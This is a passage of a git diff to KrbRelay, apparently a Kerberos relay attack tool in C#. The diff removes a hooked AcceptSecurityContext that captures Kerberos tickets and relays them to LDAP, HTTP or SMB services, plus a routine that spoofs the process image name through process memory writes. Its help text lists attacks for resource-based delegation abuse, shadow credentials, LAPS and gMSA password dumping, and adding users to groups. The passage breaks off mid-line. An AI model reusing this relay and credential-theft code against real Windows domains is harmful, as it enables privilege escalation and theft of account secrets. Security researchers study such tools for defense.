/// Initializes a new instance of the struct. - /// - /// The sec buffer bytes. - public SecurityBufferDescriptor(byte[] secBufferBytes) - { - BufferType = SecurityBufferType.Version; - NumBuffers = 1; - var buffer = new SecurityBuffer(secBufferBytes); - BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer)); - Marshal.StructureToPtr(buffer, BufferPtr, false); - } - - /// - /// Initializes a new instance of the struct. - /// - /// The buffers. - /// cannot be null or 0 length;buffers - public SecurityBufferDescriptor(SecurityBuffer[] buffers) - { - if (buffers == null || buffers.Length == 0) - { - throw new ArgumentException("cannot be null or 0 length", "buffers"); - } - - BufferType = SecurityBufferType.Version; - NumBuffers = buffers.Length; - - //Allocate memory for SecBuffer Array.... - BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecurityBuffer)) * NumBuffers); - - for (int i = 0; i < buffers.Length; i++) - { - var currentBuffer = buffers[i]; - var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer)); - Marshal.WriteInt32(BufferPtr, currentOffset, currentBuffer.Count); - - var length = currentOffset + Marshal.SizeOf(typeof(int)); - Marshal.WriteInt32(BufferPtr, length, (int)currentBuffer.BufferType); - - length = currentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)); - Marshal.WriteIntPtr(BufferPtr, length, currentBuffer.Token); - } - } - - // public methods - /// - /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. - /// - public void Dispose() - { - if (BufferPtr != IntPtr.Zero) - { - if (NumBuffers == 1) - { - var buffer = (SecurityBuffer)Marshal.PtrToStructure(BufferPtr, typeof(SecurityBuffer)); - buffer.Dispose(); - } - else - { - // Since we aren't sending any messages using the kerberos encrypt/decrypt. - // The 1st buffer is going to be empty. We can skip it. - for (int i = 1; i < NumBuffers; i++) - { - var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer)); - var totalLength = currentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)); - var buffer = Marshal.ReadIntPtr(BufferPtr, totalLength); - Marshal.FreeHGlobal(buffer); - } - } - - Marshal.FreeHGlobal(BufferPtr); - BufferPtr = IntPtr.Zero; - } - } - - /// - /// To the byte array. - /// - /// - /// Object has already been disposed!!! - public byte[] ToByteArray() - { - byte[] bytes = null; - - if (BufferPtr == IntPtr.Zero) - { - throw new InvalidOperationException("Object has already been disposed!!!"); - } - - if (NumBuffers == 1) - { - var buffer = (SecurityBuffer)Marshal.PtrToStructure(BufferPtr, typeof(SecurityBuffer)); - - if (buffer.Count > 0) - { - bytes = new byte[buffer.Count]; - Marshal.Copy(buffer.Token, bytes, 0, buffer.Count); - } - } - else - { - var bytesToAllocate = 0; - - for (int i = 0; i < NumBuffers; i++) - { - var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer)); - bytesToAllocate += Marshal.ReadInt32(BufferPtr, currentOffset); - } - - bytes = new byte[bytesToAllocate]; - - for (int i = 0, bufferIndex = 0; i < NumBuffers; i++) - { - var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer)); - var bytesToCopy = Marshal.ReadInt32(BufferPtr, currentOffset); - var length = currentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)); - IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(BufferPtr, length); - Marshal.Copy(SecBufferpvBuffer, bytes, bufferIndex, bytesToCopy); - bufferIndex += bytesToCopy; - } - } - - return (bytes); - } - } - - internal enum SecurityBufferType - { - /// - /// SECBUFFER_VERSION - /// - Version = 0, - - /// - /// SECBUFFER_EMPTY - /// - Empty = 0, - - /// - /// SECBUFFER_DATA - /// - Data = 1, - - /// - /// SECBUFFER_TOKEN - /// - Token = 2, - - /// - /// SECBUFFER_PADDING - /// - Padding = 9, - - /// - /// SECBUFFER_STREAM - /// - Stream = 10 - } - - /// - /// A SecBuffer structure. - /// - /// - /// http://msdn.microsoft.com/en-us/library/windows/desktop/aa379814(v=vs.85).aspx - /// - [StructLayout(LayoutKind.Sequential)] - internal struct SecurityBuffer : IDisposable - { - // public fields - public int Count; - - public SecurityBufferType BufferType; - public IntPtr Token; - - // constructors - /// - /// Initializes a new instance of the struct. - /// - /// Size of the buffer. - public SecurityBuffer(int bufferSize) - { - Count = bufferSize; - BufferType = SecurityBufferType.Token; - Token = Marshal.AllocHGlobal(bufferSize); - } - - /// - /// Initializes a new instance of the struct. - /// - /// The bytes. - public SecurityBuffer(byte[] bytes) - { - Count = bytes.Length; - BufferType = SecurityBufferType.Token; - Token = Marshal.AllocHGlobal(bytes.Length); - Marshal.Copy(bytes, 0, Token, bytes.Length); - } - - /// - /// Initializes a new instance of the struct. - /// - /// The bytes. - /// Type of the buffer. - public SecurityBuffer(byte[] bytes, SecurityBufferType bufferType) - { - BufferType = bufferType; - - if (bytes != null && bytes.Length != 0) - { - Count = bytes.Length; - Token = Marshal.AllocHGlobal(Count); - Marshal.Copy(bytes, 0, Token, Count); - } - else - { - Count = 0; - Token = IntPtr.Zero; - } - } - - // public methods - /// - /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. - /// - public void Dispose() - { - if (Token != IntPtr.Zero) - { - Marshal.FreeHGlobal(Token); - Token = IntPtr.Zero; - } - } - } -} \ No newline at end of file diff --git a/KrbRelay/Program.cs b/KrbRelay/Program.cs index 2228a97..d4e3260 100644 --- a/KrbRelay/Program.cs +++ b/KrbRelay/Program.cs @@ -1,203 +1,25 @@ -using KrbRelay.Clients; -using KrbRelay.Com; -using NetFwTypeLib; +using KrbRelay.Com; using SMBLibrary; using SMBLibrary.Client; using System; using System.Collections.Generic; -using System.Diagnostics; +using System.IO; using System.Linq; using System.Net; using System.Net.Http; -using System.Net.NetworkInformation; using System.Runtime.InteropServices; using System.Text; using System.Threading; -using static KrbRelay.Natives; namespace KrbRelay { internal class Program { - public static string SetProcessModuleName(string s) - { - IntPtr hProcess = GetCurrentProcess(); - PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); - UInt32 RetLen = 0; - IntPtr temp; - NtQueryInformationProcess(hProcess, 0, ref pbi, Marshal.SizeOf(pbi), ref RetLen); - - //https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters - IntPtr pProcessParametersOffset = (IntPtr)(pbi.PebBaseAddress + 0x20); - byte[] addrBuf = new byte[IntPtr.Size]; - ReadProcessMemory(hProcess, pProcessParametersOffset, addrBuf, addrBuf.Length, out temp); - IntPtr processParametersOffset = (IntPtr)BitConverter.ToInt64(addrBuf, 0); - IntPtr imagePathNameOffset = processParametersOffset + 0x060; - //Console.WriteLine("processParametersOffset: 0x{0:X}", processParametersOffset.ToInt64()); - //Console.WriteLine("imagePathNameOffset: 0x{0:X}", imagePathNameOffset.ToInt64()); - - //read imagePathName - byte[] addrBuf2 = new byte[Marshal.SizeOf(typeof(UNICODE_STRING))]; - ReadProcessMemory(hProcess, imagePathNameOffset, addrBuf2, addrBuf2.Length, out temp); - UNICODE_STRING str = Helpers.ReadStruct(addrBuf2); - byte[] addrBuf3 = new byte[str.Length]; - ReadProcessMemory(hProcess, str.Buffer, addrBuf3, addrBuf3.Length, out temp); - string oldName = Encoding.Unicode.GetString(addrBuf3); - - //write imagePathName - byte[] b = Encoding.Unicode.GetBytes(s + "\x00"); - WriteProcessMemory(hProcess, str.Buffer, b, b.Length, out temp); - - CloseHandle(hProcess); - return oldName; - } - - public static void setUserData(int SessionId) - { - if (SessionId != -123) - { - uint bytesReturned; - bool worked; - IntPtr buffer = IntPtr.Zero; - - try { - worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.ConnectState, out buffer, out bytesReturned); - var state = (WTS_CONNECTSTATE_CLASS)Enum.ToObject(typeof(WTS_CONNECTSTATE_CLASS), Marshal.ReadInt32(buffer)); - if (state != WTS_CONNECTSTATE_CLASS.Active) - Console.WriteLine("[-] WARNING, user's session is not active"); - } - catch - { - Console.WriteLine("[-] Session {0} does not exists", SessionId); - Environment.Exit(0); - } - - worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.DomainName, out buffer, out bytesReturned); - relayedUserDomain = Marshal.PtrToStringAnsi(buffer); - - worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.UserName, out buffer, out bytesReturned); - relayedUser = Marshal.PtrToStringAnsi(buffer); - } - else - { - relayedUser = Environment.MachineName + "$"; - relayedUserDomain = domainDN.Replace(",", ".").Replace("DC=", ""); - } - Console.WriteLine("[*] Relaying context: {0}\\{1}", relayedUserDomain, relayedUser); - } - - - public static SECURITY_HANDLE ldap_phCredential = new SECURITY_HANDLE(); - public static IntPtr ld = IntPtr.Zero; - public static byte[] apRep1 = new byte[] { }; - public static byte[] apRep2 = new byte[] { }; - public static byte[] ticket = new byte[] { }; - public static string spn = ""; - public static string relayedUser = ""; - public static string relayedUserDomain = ""; - public static string domainDN = ""; - public static string targetFQDN = ""; - public static bool useSSL = false; - public static bool stopSpoofing = false; - public static Dictionary attacks = new Dictionary(); public static SMB2Client smbClient = new SMB2Client(); public static HttpClientHandler handler = new HttpClientHandler(); public static HttpClient httpClient = new HttpClient(); public static CookieContainer CookieContainer = new CookieContainer(); - //hooked function - [STAThread] - public static SecStatusCode AcceptSecurityContext_( - [In] SecHandle phCredential, - [In] SecHandle phContext, - [In] SecurityBufferDescriptor pInput, - AcceptContextReqFlags fContextReq, - SecDataRep TargetDataRep, - [In, Out] SecHandle phNewContext, - [In, Out] IntPtr pOutput, - out AcceptContextRetFlags pfContextAttr, - [Out] SECURITY_INTEGER ptsExpiry) - { - //get kerberos tickets sent to our com server - if (apRep1.Length == 0) - { - //ap_req - ticket = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray(); - int ticketOffset = Helpers.PatternAt(ticket, new byte[] { 0x6e, 0x82 }); // 0x6e, 0x82, 0x06 - ticket = ticket.Skip(ticketOffset).ToArray(); - ticket = Helpers.ConvertApReq(ticket); - if(ticket[0] != 0x60) - { - Console.WriteLine("[-] Recieved invalid apReq, exploit will fail"); - Console.WriteLine("{0}", Helpers.ByteArrayToString(ticket)); - Environment.Exit(0); - } - else - { - Console.WriteLine("[*] apReq: {0}", Helpers.ByteArrayToString(ticket)); - } - } - else - { - apRep2 = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray(); - int apRep2Offset = Helpers.PatternAt(apRep2, new byte[] { 0x6f }, true); - apRep2 = apRep2.Skip(apRep2Offset).ToArray(); - ticket = apRep2; - Console.WriteLine("[*] apRep2: {0}", Helpers.ByteArrayToString(ticket)); - } - - string service = spn.Split('/').First(); - if (service.ToLower() == "ldap") - { - Ldap.Connect(); - } - else if (service.ToLower() == "http") - { - Http.Connect(); - } - else if (service.ToLower() == "cifs") - { - Smb.Connect(); - } - - //overwrite security buffer - var pOutput2 = new SecurityBufferDescriptor(12288); - //var buffer = new SecurityBufferDescriptor(msgidbytes); - var buffer = new SecurityBuffer(apRep1); - int size = Marshal.SizeOf(buffer); - int size2 = apRep1.Length; - var BufferPtr = Marshal.AllocHGlobal(size); - Marshal.StructureToPtr(buffer, BufferPtr, false); - byte[] BufferBytes = new byte[size]; - Marshal.Copy(BufferPtr, BufferBytes, 0, size); - var ogSecDesc = (SecurityBufferDescriptor)Marshal.PtrToStructure(pOutput, typeof(SecurityBufferDescriptor)); - var ogSecBuffer = (SecurityBuffer)Marshal.PtrToStructure(ogSecDesc.BufferPtr, typeof(SecurityBuffer)); - - SecStatusCode ret = AcceptSecurityContext( - phCredential, - phContext, - pInput, - fContextReq, - TargetDataRep, - phNewContext, - pOutput2, - out pfContextAttr, - ptsExpiry); - - //overwrite SecurityBuffer bytes - if (apRep2.Length == 0) - { - byte[] nbytes = new byte[254]; - Marshal.Copy(apRep1, 0, ogSecBuffer.Token + 116, apRep1.Length); // verify this 116 offset? - Marshal.Copy(nbytes, 0, (IntPtr)ogSecBuffer.Token + apRep1.Length + 116, nbytes.Length); - } - - Console.WriteLine("[*] AcceptSecurityContext: {0}", ret); - Console.WriteLine("[*] fContextReq: {0}", fContextReq); - - return ret; - } - private static void ShowHelp() { Console.WriteLine(); @@ -208,8 +30,12 @@ private static void ShowHelp() Console.WriteLine("Usage: KrbRelay.exe -spn [OPTIONS] [ATTACK]"); Console.WriteLine("LDAP attacks:"); Console.WriteLine("-console Interactive LDAP console"); - Console.WriteLine("-rbcd Configure RBCD for a given SID (default target localhost)"); - Console.WriteLine("-shadowcred Configure msDS-KeyCredentialLink (default target localhost)"); + Console.WriteLine( + "-rbcd Configure RBCD for a given SID (default target localhost)" + ); + Console.WriteLine( + "-shadowcred Configure msDS-KeyCredentialLink (default target localhost)" + ); Console.WriteLine("-laps Dump LAPS passwords"); Console.WriteLine("-gMSA Dump gMSA passwords"); Console.WriteLine("-add-groupmember Add user to group"); @@ -232,7 +58,9 @@ private static void ShowHelp() Console.WriteLine("HTTP attacks:"); Console.WriteLine("-endpoint Example; 'EWS/Exchange.asmx'"); - Console.WriteLine("-proxy Start a HTTP proxy server against target"); + Console.WriteLine( + "-proxy Start a HTTP proxy server against target" + ); //Console.WriteLine("-adcs